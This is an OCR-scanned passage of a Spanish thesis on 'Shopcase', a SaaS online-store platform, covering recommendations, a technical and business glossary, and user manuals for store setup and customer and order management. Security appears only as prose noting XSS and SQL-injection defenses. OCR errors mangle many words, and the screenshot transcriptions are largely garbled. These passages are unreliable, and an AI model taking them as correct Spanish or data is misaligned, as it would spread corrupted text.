fundamental del negocio ya que representan el “know how” tanto del mantenimiento del
sistema como de la administracién de los clientes.

En el lanzamiento y el primer afio de operacidn se pretende realizar una fuerte campafa de
comunicacién por medio de relaciones publicas seguido de una campafia publicitaria para
dar a conocer a la empresa dentro del sector de las PYMES. Los gastos de publicidad
disminuiran afo con afio, lo cual se refleja anualmente en una disminucidn en la tasa de

captacion de clientes.



XXII. RECOMENDACIONES

Disefiar un sistema de recomendaciones de productos especializado, utilizando el historial
de busqueda de los usuarios o ventas anteriores. También se podrian recomendar productos
de otras empresas asociadas para atraer nuevos clientes a las empresas que han adquirido
los servicios del carrito de compras.

Mayor integracion con sitios de redes sociales; por ejemplo, automatizar envio de mensajes
a Twitter y Facebook al agregar nuevos productos a seguidores de las empresas.
Implementacion de un sistema de etiquetas como forma adicional para identificar y agregar
atributos a productos.

Considerar crear un sistema de resefias de productos.

Permitir soporte para multiples idiomas y monedas.

Implementar un foro de discusion para cada cliente del sistema. Este foro serviria para que
los consumidores discutieran acerca de los productos y servicios que ofrece la empresa,
brindando retroalimentaciéon inmediata a los clientes del sistema.

En el despliegue de productos, ofrecer vistas alternativas a una lista de productos, como
despliegue en mosaico o galeria.

Ofrecer la posibilidad a los usuarios registrados de combinar sus cuentas de redes sociales, a
menara de dar acceso al mismo perfil de usuario registrado en el sistema con multiples
cuentas de servicios externos.

Utilizar el archivo de configuracion de XML para almacenar metadatos de las empresas, o
cualquier otra informacion que se acceda constantemente pero que se mantenga constante
en el tiempo.

Es recomendable mejorar la disponibilidad del sistema, ya que los servidores en los que se
encuentra instalado son gratuitos y no existe garantia de que la pagina esté disponible el
99% del tiempo.

El panel de control cuenta con la informacion necesaria para conocer los cinco productos
mas vendidos y las cinco categorias mas vendidas. En caso de querer afiadirle nuevas
funcionalidades es recomendable que este panel cuente con la funcionalidad extendida
para ordenar las cajas del panel de control como el administrador desee.

Se recomienda realizar un andlisis mas profundo de seguridad en el sistema ya
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que actualmente se implementd la seguridad necesaria para evitar ataques de cross site
scripting y sql injection en las entradas del usuario, asi como el manejo de cuentas para
evitar que un administrador de un sitio de venta en linea sea capaz de ver la informacién
acerca de otra empresa.
Si la cantidad de informacion almacenada en la base de datos incrementara de forma masiva
y la arquitectura de base de datos compartida y esquema compartido no se diera abasto se
recomienda cambiar la arquitectura de la base de datos multi-inquilino con base de datos
compartida y esquema compartido a una arquitectura de base de datos separadas. Los
cambios necesarios para lograr esto no son de gran tamafio ya que en las herramientas de
comunicacion con la base de datos se manejaria el campo Client_ID de cada consulta o
modificacién para conectarse a la base de datos correcta. El disefio principal quedaria igual,
simplemente no se incluird la informacidn de los demas clientes.
De ser necesario permitir que el cliente ingrese mas de dos atributos extra, se recomienda
disefiar una interfaz de varias vistas para que se ingresen de forma adecuada los valores de
existencias y costos. Una interfaz de una sola vista para el ingreso de la combinacion de tres
0 mas atributos es muy complicada y el usuario no la entenderia.
Se recomienda implementar la base de datos en un servidor de base Linux por las siguientes
razones:

o Laseguridad que provee este tipo de servidor.

o Existen servidores gratuitos que brindan los servicios necesarios para el soporte del

sistema.
o Provee estabilidad.
o Otorga los medios necesarios para que el usuario maneja la seguridad al nivel que él

desee.
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A. Glosario

Término
API

AJAX

Clase
Cliente
Controlador

Consumidor

CSS

Core

Componentes
HTML

JQuery
Libreria
PHP
Plugin

MysQL

SaaS

Usabilidad

Vista

XXIV. APENDICE

Definicion

Application Programming Interface, o interfaz de programacion de
aplicacion, se utiliza para tener acceso a la funcionalidad de un
programa o servicio.

Llamadas asincronas a documentos HTML o XML.

Representacion légica de una entidad del mundo real.

Empresas que contraten los servicios del Megaproyecto.

Componente de la arquitectura modelo-vista-controlador que se
encarga de manejar la légica de la aplicacidn y la interaccion entre
la vista y el modelo.

Los usuarios del portal de ventas en linea, los clientes de los
clientes.

Hojas de estilo utilizadas para definir forma y disefio a elementos
de HTML.

En el contexto de Megaproyecto, se refiere a la libreria de
controladores, vistas y componentes.

Segmentos cortos de cddigo PHP, HTML o Javascript reutilizable.

Hyper-Text Markup Language, lenguaje de marcado utilizado para
definir paginas web.

Biblioteca de Javascript.

Repositorio de clases, controladores o vistas que forman

Lenguaje de programacion para paginas web dindmicas.
Componente que agrega funcionalidad extra a una libreria
existente.

Manejador de bases de datos de cédigo abierto.

Software as a Service, modelo de distribucion de software en el
gue un usuario paga por el derecho de uso de un servicio, en lugar
de pagar el precio completo por la aplicacion.

La calidad de una aplicacidon o producto de ser facil de utilizar y
comprender.

Componente de la arquitectura modelo-vista-controlador que
cumple la funcidn de ser la interfaz grafica para un usuario.
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Término
XML

Cache

Confidencialidad

Cookie

DOM

Htaccess

Integridad

JavaScript

JQuery

MD5

Minification

Obfuscation

Plugins

Definicion
Extensible Markup Language. Una serie de reglas para codificar
documentos web.

Cuando se habla de cache en este trabajo se refiere al cache que
es el encargado de almacenar documentos web para reducir el
ancho de banda consumido, la carga de los servidores y el retardo
en la descarga.

Pilar de seguridad que se enfoca en asegurarse que solamente las
personas autorizadas puedan tener acceso a la informacion.

Fragmento de informacién que se almacena en el disco duro de un
visitante de una pagina web, a través de su navegador de internet.

Es una interfaz de programacion de aplicaciones que proporciona
un conjunto estandar de objetos para representar documentos de
HTML Y XML. Es una interfaz estdndar para acceder a estos objetos
y modificarlos.

También conocido como archivo de configuracién distribuida, que
permite definir

Pilar de la seguridad que se enfoca en garantizar que la
informacién no pueda ser alterada mientras la informacidn se
encuentra bajo custodia.

Javascript es un lenguaje de programacion que permite a los
desarrolladores crear acciones en sus paginas web.

JQuery es una libreria de JavaScript rdpida y concisa que simplifica
el manejo de eventos, la animacién y las interacciones con Ajax
para el desarrollo rapido de web.

Algoritmo de cifrado que devuelve una cadena de 32 caracteres
hexadecimales.

Se refiere al proceso de remover caracteres innecesarios en el
cddigo de archivos de JavaScript y CSS sin restarle funcionalidad.
Estos caracteres innecesarios incluyen espacios en blanco, cambios
de linea, comentarios y delimitadores de bloques.

Se refiere a encubrir el significado de una comunicacién
haciéndola mas confusa y complicada de interpretar.

Es un conjunto de componentes de software que afiaden
funcionalidades extras a sistemas de software mas grandes.
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Término

Span

saL

SQL Injection

Servidor Web
Servidor Local

Ancho de Banda

Espacio de Disco
Dominio

Panel de Control

SMTP
Case Sensitive

Arquitectura
multiatendida

Definicion

El etiqueta span provee una forma de definir atributos a un trozo
de texto. Es muy usado en conjunto con hojas de estilos para
establecer atributos de presentacion que definiran el estilo visual
del contenido.

Es un lenguaje que permite el acceso a bases de datos relacionales.
Este lenguaje permite realizar consultas y modificar la informacidn
en la base de datos.

Es un tipo de ataque de inyeccion de cédigo. Este tipo de ataque
ocurre a nivel de la base de datos. La vulnerabilidad se presenta
cuando las consultas a la base de datos no son filtradas para evitar
gue cualquier usuario pueda inyectar cédigo de SQL a la consulta
original.

Madquina (y sus recursos

Instalacion de un servidor web de forma local. Es decir, en la
maquina que se utilice.

Gama de frecuencias disponibles para las sefales. Capacidad
cuantitativa que posee un sistema para transferir datos en un
mismo instante.

Capacidad que tiene un disco duro (disco magnético

Nombre Unico que permite ingresar a un servidor sin saber la
direccion IP exacta donde se encuentra. Los dominios sustituyen las
direcciones numéricas de una pagina web cuando el servidor ofrece
este servicio.

Vista que permite acceder a multiples aplicaciones y herramientas,
especialmente para configurar el funcionamiento de un sistema.

Un protocolo disefiado para transferir correo.

Sensibilidad a la diferencia entre letras mayusculas y minasculas
Se refiere a un principio en la arquitectura del software donde una
sola instancia del software corre sobre un servidor, sirviendo a
multiples clientes. Se contrasta con la arquitectura multi-instancia
en donde instancias separadas de software o hardware se preparan
para diferentes clientes.
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ASP
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Benchmarking

Business to
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Cadena de Valor

Comercio
Electrénico

Costo de
oportunidad
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Definicion

Application Server Provider. Un proveedor de servicios de
aplicacion es una empresa que ofrece servicios de computacion a
sus clientes a través de una red. El sentido mas restrictivo del
término seria el de facilitar el acceso a un programa de aplicacion
(tales como gestion de relaciones con clientes), via un protocolo
estandar como HTTP. La diferencia con SaaS es que las aplicaciones
de ASP no fueron disefiadas para dar servicio a multiples clientes
de distintas empresas, es mas, se ejecuta una instancia por cada
cliente del ASP.

Es un tipo de servicio computacional en donde sus aplicaciones son
ofrecidas a los usuarios a través de una suscripcion. Las
aplicaciones no son instaladas en el computador del cliente, sino
gue son accedidas a través de Internet.

Es un proceso sistematico y continuo para evaluar
comparativamente los productos, servicios y procesos de trabajo
en organizaciones. Consiste en tomar "comparadores" o
benchmarks a aquellos productos, servicios y procesos de trabajo
gue pertenezcan a organizaciones que evidencien las mejores
practicas sobre el drea de interés, con el propdsito de transferir el
conocimiento de las mejores practicas y su aplicacion.

B2B. Forma de comercio electrénico en donde las operaciones
comerciales son entre empresas.

Empresa a consumidor. Forma de comercio electrénico en donde
las operaciones comerciales son entre una empresa y un usuario
final.

Se enfoca en la identificacion de los procesos y operaciones que
aportan valor al negocio, desde la creacion de la demanda hasta
gue ésta es entregada como producto final.

Entrega de informacidn, productos, servicios o pagos por medio de
lineas telefdnicas, redes de ordenadores o de cualquier otro
dispositivo electrénico.

Designa el coste de la inversién de los recursos disponibles, en una
oportunidad econdmica, a costa de las inversiones alternativas
disponibles, o también el valor de la mejor opcidn no realizada.

Customer Relationship Management, gestion de las relaciones con
el cliente, el CRM no es una nueva filosofia de trabajo u
organizacion, sino el resultado de unir las antiguas técnicas
comerciales de los pequefios establecimientos, con la tecnologia de
la informacion.



Término
Demanda
elastica

EDI

EFT

En la nube

ERP

Estudio de
Mercado

FODA

Hosting

Definicion

El tipo de demanda que tienen los bienes cuya adquisicién es muy
sensible al precio, pequefias variaciones en su precio provocan
grandes variaciones en la cantidad demandada. De forma contraria
los bienes que son poco sensibles al precio son los de demanda
ineldstica o rigida.

Electronic Data Interchange, intercambio electrénico de datos. El
sistema EDI permite el intercambio (envio y recepcién) de
documentos comerciales por via telematica. Albaranes, facturas,
ordenes de compra y otros documentos comerciales electrénicos
pueden tramitarse directamente desde el ordenador de la empresa
emisora al de la empresa receptora, con gran ahorro de tiempo y
evitando muchos errores, propios de la comunicacién tradicional
“en papel”.

Electronic funds transfer, transferencia electréonica de fondos se
refiere a los sistemas basados en computadoras, usados para
realizar transacciones financieras de manera electrénica. Una EFT
es la transferencia de dinero de una cuenta a otra sin importar que
sean de la misma institucidn financiera o distinta.

Del inglés "Cloud computing", es un paradigma que permite ofrecer
servicios de computacion a través de Internet. La "nube" es una
metafora de Internet.

La Planificacién de Recursos Empresariales, o simplemente ERP
(Enterprise Resourse Planning), es un conjunto de sistemas de
informacién gerencial que permite la integracidn de ciertas
operaciones de una empresa, especialmente las que tienen que ver
con la produccion, la logistica, el inventario, los envios y la
contabilidad.

Recopilacion y andlisis de informacién, en lo que respecta al mundo
de la empresa y del mercado, realizados de forma sistematica o
expresa, para poder tomar decisiones dentro del campo del
marketing estratégico y operativo.

Fuerzas, Oportunidades, Debilidades y Amenazas, permite realizar
un diagndstico rapido de la situacion de cualquier empresa,
considerando los factores externos e internos que la afectan y asi
poder delinear |la estrategia para el logro satisfactorio de las metas
y objetivos inherentes a la empresa.

Alojar, servir, y mantener archivos para uno o mas sitios web. Es
también conocido como hospedaje web, alojamiento web, o web
hosting.
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Término

Internet

La web

Mercado global

Negocio
Electrénico

Negocio principal
o core business

Portal de ventas
en linea

Pruebas de
usabilidad

PYMES

Servidor
Compartido
Servidor
Dedicado
Sistema
tradicional

Definicion

Infraestructura de redes a escala mundial que se conectaalaveza
todos tipo de computadores. Desarrollado originariamente para los
militares de Estados Unidos, y después se utilizé para el gobierno,
investigacion académica y comercial y para comunicaciones.
Nombre coloquial con que se nombra a la World Wide Web.
Sistema de comunicacidn y de publicacion que fue disefiado para
distribuir informacién a través de redes de computadoras en una
modalidad llamada hipertexto.

El mercado mundial o global es un sistema de relaciones
econdmicas, mercantiles y financieras, entre estados o paises.
Cualquier forma de transaccidon comercial en la que las partes
interactuan en forma electrdénica en lugar del intercambio o
contacto fisico directo.

Negocio principal o competencia distintiva, conocida en inglés por
Core Business se refiere en gestion empresarial, a aquella actividad
capaz de generar valor y que resulta necesaria para establecer una
ventaja competitiva beneficiosa para la organizacion.

Sitio web que asiste a los usuarios para realizar compras en linea,
permite acumular una lista de articulos para la compra donde el
software calcula el total de la orden y los cargos aplicados a
impuestos y envios.

Son una forma de medir lo bien que una persona usar un objeto
como una pagina web, consiste en seleccionar un grupo de
usuarios de una aplicacién y solicitarles que lleven a cabo las tareas
para las cuales fue disefiada, en tanto el equipo de disefio y
desarrollo toman nota de la interaccion, particularmente errores y
dificultades con las que se encuentren los usuarios

Son empresas con caracteristicas distintivas, y tienen dimensiones
con ciertos limites ocupacionales y financieros prefijados por los
Estados o Regiones. Son agentes con légicas, culturas, intereses y
un espiritu emprendedor especificos. En Guatemala empresas con
menos de 50 empleados o Q3,000,000 en ventas anuales.

En un servidor compartido varios clientes comparten un servidor,
es una forma de hosting.

El uso exclusivo de todo un servidor por un Unico cliente. Es una
Forma de Hosting. Al ser dedicado, su costo puede ser alto.

Es el tipo de servicio en donde las aplicaciones son compradas por
medio de licencias en las cuales el usuario tiene derecho a utilizarla
cuanto el desee y generalmente se instala en el computador del
cliente.

345



Término
Software

Tl

TIR

TMAR

346

Definicion

Software se refiere al equipamiento légico o soporte ldgico de una
computadora digital, y comprende el conjunto de los componentes
I6gicos necesarios para hacer posible la realizacidn de tareas
especificas; en contraposicion a los componentes fisicos del
sistema, llamados hardware.

Las tecnologias de la informacidn o IT para "Information
Technology" agrupan los elementos y las técnicas utilizadas en el
tratamiento y la transmisién de las informaciones, principalmente
de informatica, internet y telecomunicaciones.

La tasa interna de retorno esta definida como la tasa de interés con
la cual el valor actual neto o valor presente neto es igual a cero. Es
un indicador de la rentabilidad de un proyecto, a mayor TIR, mayor
rentabilidad.

Tasa minima aceptable de rendimiento, representa el minimo que
un inversor se propone a ganar cuando hace una inversion. Es el
costo de oportunidad de la inversion, si la inversién no tiene riesgo,
el costo de oportunidad utilizado para comparar la TIR serd la tasa
de rentabilidad libre de riesgo.
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B. Manual de Usuario — Mdédulo de Generador

Gracias por adquirir los servicios de Shopcase! Con un portal de ventas en linea de Shopcase
usted podra manejar un catdlogo de productos, manejar inventarios, categorias y subcategorias
y las érdenes que sus clientes realicen en el portal de ventas en lineas. Este manual lo guiara en

el proceso de creacién de su primera tienda en linea.

Paso 1 - Validacién de contraseiia

Al confirmar su contrato de servicio con su representante de Shopcase se le proveyd una clave
de acceso al sistema por correo electrénico; la clave no es reutilizable por lo que le pedimos que
realice todos los pasos del proceso hasta su finalizacién, si ha extraviado su contrasefia por favor

ponganse en contacto con nuestro personal de servicio al cliente.

Bienvenido al generador de portales en linea de Shopcase
Validacion de contrasefia

En una serie de simples pasos usted puede tener su tienda en linea lista para tomar pedidos Al firmar su
contrato de servicio con su representante de Shopcase se le proporciond una contrasefia que valida su
subscripcién a nuestros servicios, por favor ingresela en el espacio de abajo.

Continuar
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Paso 2 - Informacién general de su empresa
Debera llenar la siguiente informacidn acerca de su empresa en la pantalla de color rojo:

a) Nombre

b) Nombre de dominio (La direccién http://www.shopcase.com/empresa que desee)

c) Persona de contacto
d) Correo electrénico

e) Teléfono

Paso 2 - Informacion general de su empresa

Por favar ingrese la siguiente informacién acerca de su empresa:

Nombre de la empresa
Nombre de dominio

http AAvww shopcase com/
Persona de contacto

Correo electronico

Teléfono

‘ Continuar
-
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E-commerce made easy

Si el nombre de dominio ya existe, por favor intente uno nuevo

Paso 3 - Informacion de administracion

Deberd crear una cuenta de administrador para comenzar a crear su catalogo y manejar
productos y érdenes, el correo electrdnico y la contrasefia seran utilizados después para acceder

al sistema. Por favor ingrese la siguiente informacién en la pantalla de color verde.

a) Nombre del administrador
b) Teléfono
c) Correo electrénico

d) Contrasefia (2 veces)

Ff\) "WV =
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Informacion de administracién

Por favor ingrese |a siguiente informacidn acerca del administrador de su tienda;

Nombre del administrador:
Teléfono

Correo electrénico
Contrasefia

Repetir contrasefia

Continuar

e . W

El correo electrdnico y la contrasefia deben ser verificados antes de continuar, si la informacién
provista ya perteneciera algun otro usuario se le indicara al cliente y deberd intentarlo

nuevamente.
Paso 4 - Informacion de redes sociales

En el paso 4 podra ingresar su informacién de la cuenta de Twitter y Facebook de su empresa,
puede proveer un enlace directo a sus paginas y estas apareceran en su portal de ventas. Este
paso es completamente opcional. Puede obtener mas informaciéon acerca de Twitter y Facebook

en http://www.twitter.com y http://www.facebook.com.

rv) «  w .-
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Informacion de redes sociales

Shopcase |e ayuda a comercializar sus productos y su marca a través de redes sociales, puede ingresar su
informacion de cuentas de Twitter y Facebook abajo:

twitter

Enlace a su cuenta de Twitter: Enlace a su cuenta de Facebook:
http:/iwww twitter. com/empresa http:/Awww facebook.com/empresa
Continuar Saltar este paso

Paso 5 - Configuracion de apariencia

En este paso podra seleccionar el logotipo de su empresa para que aparezca en la parte superior

izquierda de su portal de tienda electrdnica.

Configuracion de apariencia

Por favor configure la apariencia de su sitio:

Logotipo de su empresa: Cargar archivo

* L3 Im3gen se recucird 3 un 13mafo o2 100 x 100 pleeies.

Continuar
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Paso 6 - Creacion de tienda

iEl Gltimo paso antes de la generacién de la tienda!, Unicamente tendra que presionar el botén

de “Finalizar” y se generara su portal.

Presione "Finalizar” para crear su portal de ventas en linea, en cualquier momento podra cambiar la
informacion o apariencia de su sitio.

Finalizar |

Paso 7 - Finalizacion y administracion de tienda

iFelicidades! Al llegar a este paso del generador su tienda ya ha sido creada, puede comenzar a

agregar productos a su tienda o dar un vistazo de su nuevo portal de venta en linea.

Administrar tienda

Felicidades y gracias por adquirir los servicios de Shopcase! Ahora puede comenzar a administrar su tienda
y manejar sus productos

Administrar mi tienda | | Ver mi tienda
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C. Manual de usuario — Médulo de Administracién de Empresas

Este manual proporciona la informacion necesaria para aprender a realizar cada una de las

funciones basicas en el sistema de administracién para su empresa.

Para poder realizar cada una de las siguientes acciones primero debe iniciar sesién en la
pantalla inicial del sistema, donde se le presenta una entrada para ingresar correo y

contrasefia de administrador.

gustavo.marcucci

Iniciar Sesion

En caso de ingresar datos incorrectos le aparecerd el siguiente mensaje

Iniciar Sesion

Si esto sucede por favor vuelva a ingresar los datos, pero asegurese que son los correctos.
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MANEJO DE CLIENTES

Para cada una de las operaciones con clientes por favor haga clic en la opcién del menu

Ilamada “Clientes” que aparece al lado izquierdo de la pantalla.

shopcase

Productos mas vendidos por categoria Productos mas vendidos

Categorias Mas Vendidas Camisos Productos Mas Vendidos Camisa
= TPeds q = Camiss A ul
Fantalcnes Camisa
* Pantalon Kegro
= iPod Touch

A. Pasos para afadir un cliente al sistema.

1. Hacer clic en el botén que se encuentra en la parte inferior de la pagina llamado agregar

cliente.

Buscar clientes

[’ e

Nombre | Direccién - Telefono - E-mad _ Psis

Teléfono Dreccitn Coereo electronco Pais Blogueado  Modidcar
Macuce, Qustavo 24354041 3 ::g' ~ h@g com Guatemata g -
16000, podto 245678377 | 48 avernidada holag@hola com Guatomata [ 3!
MNI EpIOCt 2356677 | Gustavo marcucct | gustavo. marcucci@gmad com | Guatemala g =
Marcuci, hola 24354941 | 43 Avenda pe@pod com Guatemata | 3 »




355

2. Ingresar los datos del cliente, los datos requeridos por el sistema son: nombre, apellido,
teléfono, direccién, correo electrénico, contrasefia, confirmacién de contraseia y pais.
Asegurese que los campos de contrasefia y confirmar contrasefia sean iguales de cualquier
manera si algin campo no cumple con el formato correcto, usted recibirda un mensaje

pidiéndole que ingrese el mensaje correctamente.

Agregar cliente

Mombre *

Apaliido *
Teléfono *

Direccidn *|

Correo electronico *|

Conirasafia *

Confirmar Conirasefia "

Pais " Gustemals -

{* Campo Reguerido)

3. Hacer clic en el botén llamado “Agregar” para anadir los datos del cliente a la base de

datos.
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B. Pasos para bloquear y desbloquear la cuenta de un cliente.

1. Hacer clic en la x roja que se encuentra en la misma fila del consumidor que se desea
bloquear/desbloquear. Esta se encuentra en la tabla de clientes, en la columna llamada

bloqueado.

Buscar clientes

1 i o |

Nombre ¥ Direccidn | Telefono | E-mail | Pais

Normibwe Teléfono Direccidn Ciowreo eledronco Pais Blegqueado  Modificar

MANcucs, gustavo 2345678 | dkmskdimmic Quian com Guatemala o )

C. Pasos para buscar clientes.

1. Marcar las opciones de busqueda en la parte inferior del buscador. Si desea buscar por
nombre y apellido, solo marque la opcién de nombre e ingrese primero el nombre y

luego el apellido separados por un espacio.

Coimesn plecironico

2. Ingresar en el buscador lo que se desee buscar, dependiendo de la caracteristica elegida.
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3. Las tablas de resultados de la busqueda pueden ser ordenadas, presionando el nombre

de la columna que desea ordenar (nombre, teléfono, direccién, correo electrénico, pais y

si estd bloqueado o no).

Buscar clientes

Duecodn Coneo slechonco *ak Bogueado  Modowr

MACUCO, OUstave 24354041 I “m' ' Mg com Cuanteraa g |
0000 pedto mmml 48 awendita I Aoka3reota cam Guaterrats | 3 ‘
gmo, 2858817 i&mwa { Qurtavo mavrcucoiomed com | Guatormala g ‘ |
|

e

4. El administrador puede elegir la cantidad de resultados desplegados en una sola pagina, y

cambiar de pagina segun lo necesite.

Cerrar Sesion

shopcase

Inicio
Nombre Teléfono Direccién Correo electronico Pais Bloqueado Modificar
Clientes i
marcucci, gustavo. 24354941 & a‘:gz'g aa h@g.com Guatemala
Manejo de drdenes
noooo, pedro 245678877 48 avernidada hola@hola.com Guatemala
Configuracion " . |
ou Z"&O'migucc" 23456677 | Gustavomarcucci | gustavomarcucci@gmail.com | Guatemala
Estadisticas SEULLEND
Marcucci, hola 24354941 48 Avenida .com Guatemala
: ! pe@ped
Catoooceroscs D -

Agregar Cliente
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C. Pasos para modificar datos de clientes.

1. Para modificar los datos de clientes, haga clic en el icono de la columna de modificar que

corresponda a la fila del cliente.

Cerrar Sesién

shopcase

Inicio S .
Nombre Teléfono Direccién Correo electronico Pais Bloqueado Modificar

Client i
enes marcucci, gustavo. 24354941 & 3‘123'? aa h@g.com Guatemala
Manejo de ordenes
noooo, pedro 245678877 48 avernidada hola@hola.com Guatemala
Configuracion " .
gustavo.marcucci, - . -
23456677 | Gustavo.marcucci ustavo.marcucci@gmail.com | Guatemala
e pedropedro g @g
) Marcucci, hola 24354941 48 Avenida pe@ped.com Guatemala
Herramientas
Catalogo de productos

@
Agregar Cliente

n

2. Se le presenta la informacidn que es posible modificar.

Maodificar cliente

Cofeo slectionee ™

PEE" s =

" Campo Requenda)




359

Todos los campos son requeridos, si alguno de ellos queda en blanco se desplegara un mensaje

de error y debe ser corregido para poderse modificar.

Cerrar Sesion

shopcase

a
Nombre ‘ Pedro

Clientes R0 " Ramirez ‘

& A
Manejo de érdenes Teléfono ™[ 1624534 \

- Direccion *| ] Este campo es requerido.
ST Correo electronico "
pedro_ramirez@gmail.com ‘

i Pais * Guatemala ~
Herramientas (* Campo Requerido)
Catalogo de productos

Modificar

renovar contrasefia

Asi mismo si los datos ingresados no corresponden con el tipo de dato requerido desplegara

también un mensaje de error, por ejemplo teléfono requiere nimeros y correo electrénico
requiere nombre@dominio.

Maodificar cliente

Tekdons *

G345

Disacocn A6 Fraracda £-565 roncs 2 da Mo

| D Eecirnc ® Pt v P00 1 e sl O Lo e L v o Tl
Pak® Gogiprals =

(* Campo Riguenda)
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3. Para renovar la contrasefia de un usuario, presione el botdén renovar contrasefia, este

automaticamente le enviara al correo electrénico de el usuario la nueva contrasefia.

Madificar cliente

MANEJO DE ORDENES

Para manejo de érdenes por favor haga clic en la opciéon del mend llamada “Manejo de

drdenes” que aparece al lado izquierdo de la pantalla.

Todos os estesos » Nombee de chente  Comreo oil chente . Nimedo
Nunera  Nombre
do dol Comoo dol chento
otden chorto

Focha do Focha de Focha do

ot TotaiC Jotnbos
creacon Emvio cancelacida Estado TohaQ), | Deta

13| pedto | pocroramiezgomail com miwm‘oooomoo 2010-10-31

@@ DD -




A. Pasos para buscar érdenes.
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1. Marcar las opciones de busqueda en la parte inferior del buscador. Si desea buscar por

nombre de cliente, numero de orden o correo del cliente, solo marque la opcién e

ingrese el dato requerido.

Buscar Ordenes
Todesior estssos - | Nombee de chente  Coereo Os chente — Nimero

Nanerg  Nombre )
do dol Comoo del chento F :‘(‘lu :] F ‘:“‘L’" F :‘:‘. O'fn Esiado
otden cherto creac LW cancelacid

podro ramirez@omail com | 2010.03-06 | 0000-00.00 | 2010-10-31

TotakQ )  Deotales

2. Las drdenes pueden ser buscadas segln su estado actual, pueden estar en progreso,

esto quiere decir que el cliente aun esta haciendo la orden y no ha terminado de hacer

la compra; Completada, érdenes que ya han sido aceptadas y pagadas por el cliente; enviadas,

entregadas o canceladas.
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Ordenes

Buscar ordenes

Homitre e chntn | Commd dal chisnbe || Himan
| T
A DD P Fochs de Fecha da Fischa dex .
Serrolisds Comes del chende Taacks Envia ARl Estads

pedio raminenfiigmail com | 2090-03-06 | 0000.00-00 | 2010-10-31

3. Las tablas de resultados de la busqueda pueden ser ordenadas, presionando el nombre
de la columna que desea ordenar (numero de orden, nombre del cliente, fecha de

creacion, fecha de envio, fecha de cancelacidn, estado y total)

Buscar ordenes

Todes s estasos » Nombee de chente  Correo ol chente - Nimero

Focha do Focha o Focha do

Comoo dal chento p x
creacon £mvio cancelacda

Estado TotaQ )  Detales

podro ramire2@omail com 201003@‘@0—&00 2010-10-31 Ccnvhb&‘ 403

4. El administrador puede elegir la cantidad de resultados desplegados en una sola pagina,

y cambiar de pagina segun lo necesite.
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Buscar ordenes

Todos s estesos »  Nombre de dente  Correo oal chente - Nimedo

Nunera  Nombre
do dol Comoo dol chento
otden chonto

Focha do Focha oo Focha do

TotakQ Detabos
areacon £mvio cancelaoda Q)

pedro ramirez@omail com | 2010-03-06

5. En la parte inferior de la pagina se presenta un calendario que permite buscar érdenes por

mes y afio, segun la fecha de cancelacién, fecha de creacion y fecha de envio de la orden.

Ordenes

—————— 1| Buscar ordenes

—

e — - |
p—

oo o exadn__ | emare e cnere [ comen et cesee [ nomers

Commiaes | RE nEme | nowe

N Ewb  camelackn Do Tl

Elija qué tipo de fecha desea buscar

Seleccione el mes y el afio de la orden que desea buscar.
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Cerrar Sesién

shopcase

Inicio Elija qué tipo de fecha desea buscar:

Clientes TODAS
Manejo de drdenes
Configuracion
Estadisticas

Herramientas

Catalogo de productos

B. Ver detalle de 6rdenes.

1. Haga clic en el icono de la columna de detalles que corresponda a la fila de la orden que

desea ver.

Cerrar Sesién

shopcase
Inicio
—  § Buscar ordenes
Clientes n
Manejo de érdenes [ ]
Corfiguracion Todos los estados; ~ [ INombre de cliente ["|Correo del cliente [“INimero E
E e Numero  Nombre

S de del Correo del cliente Fechafie Fecha. de Fecha d,‘? Estado Total(Q.) Detalles
————— . creacion Envio cancelacién

. orden cliente
Herramientas B
Catalogo de productos R':l?gi'[gl pedro ramirez@gmailcom | 2010-03-06 | 0000-00-00 | 2010-10-31 | Completada | 403 o
orden

Le desplegara en la pantalla la informacién de la compra.
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Inicio
* GRAND DESIGN
Cantidad:1

Clientes 450,00
Manejo de drdenes *® Blackbeny Curve
o Cantidad:2
Q2000.00
[Configuracién —]
) Sublotal: Q2450.00
[Estadisticas
Herramientas Informacién de Pago
ICatalogo de productos Tanjets de Credito E

Nombre: Diego de la Vega
Nimero:

Fecha de vancimiente: 3/ 2014
Recargo: Q0.00

Informacién de Envio y Facturacién

Diego de Is Vega
Manzana J, Calle 10, Avenida El Maiz
Gustemala,Guatemels.0101

Gustemala

Teléfono: 46267964

Tipo de Envio: Gargo Express (Envio en 35 dias habiles )
Recargo: Q0.00

2. En la parte inferior de la pantalla, puede el cliente cambiar el estado de la orden,

cancelarla o enviarla.

Inicio Nijmero: *sse=ssssessese g2ds
Feche de vendimiento: 372014
Recargo: Q0.00

Clientes
A 5 Informacién de Envio y Facturacion
Manegjo de drdenes Y
0 Disge de Iz Vega
Configuracién Manzsna J, Calle 10, Avenids El Maiz
Gustemala,Guatemsla,0101
fisti Gustemala
e Teléfano: 45257964
Tipo de Envio: Cargo Express (Envio en 2.5 diss hébiles)
Herramientas Recargo: Q0.00
Catalogo de productos

Total- Q2450.00

n

Regresar
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HERRAMIENTAS

Para manejar la publicidad del sitio de venta en linea por favor haga clic en la opcidn del menu

llamada “Herramientas” que aparece al lado izquierdo de la pantalla.

de Adminitracion

[Manejo de rdenes Seleccione la imagen para el anuncio 1
[configuracian

[Estaaisticas

Hemamientss ]

| —— Seleccione la imagen para el anuncio 2

Seleccione una imagen

m

Anundio 1@

Anuncio 1
(723 200)

Anuncio 2

A. Agregar publicidad al sitio.

1. Para cargar una imagen al sitio, presione el botén de examinar .

Cerrar Sesion

shopcase
Inicio - . :
Seleccione una imagen:

Clientes

Manejo de Grdenes

Configuracion

Estadisticas Anuncio 1 @ Anuncio 2 ©

Anuncio 1 il
Herramientas - (172 x 200)
Agregar Anuncio

Catalogo de productos Anuncio 2
0 (218 x 100)
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2. Se levantara una ventana, para que elija el archivo que desea cargar. Los formatos que

soporta son jpg, pngy bmp.

- C

|| wifislax tutorial - Busc... & Ultimas noticias & W

Archivo Editar Mer Higtorial Marcadores Glass Herramienges  Ayuda

7 &) [ netpstocatnost/adminstoots.php

w o

*§ - ma de entidad relacion conceptual 2 |

shopcase

Inicio
Clientes

Manejo de érdenes
Configuracion
Estadisticas

Herramientas

* Encontrar:  screen

W/ Software - Wikipedia, la en...

Catalogo de productos

ot vn

=

Vinculos favoritos
[E Documentos

] Sitios recientes

M Escritorio

™ Equipo

Ji Dropbox

B Imagenes

1| B Musica

(& Cambiados reciente...
B Busquedas

| Acceso piblico

Anunci

Carpetas -~

@ cargar archivos e

) FE » Marcucci » Imadgenes »

)

Nombre Fecha de captura
Juegos srquitect
guardados
Diagramal.dia~  Diagramal
Diagramalb diagrama2
Dibujo2 entidad

Etiquetas  Tamafio »

@ )

Diagramal  Diagramal.dia..

2 )

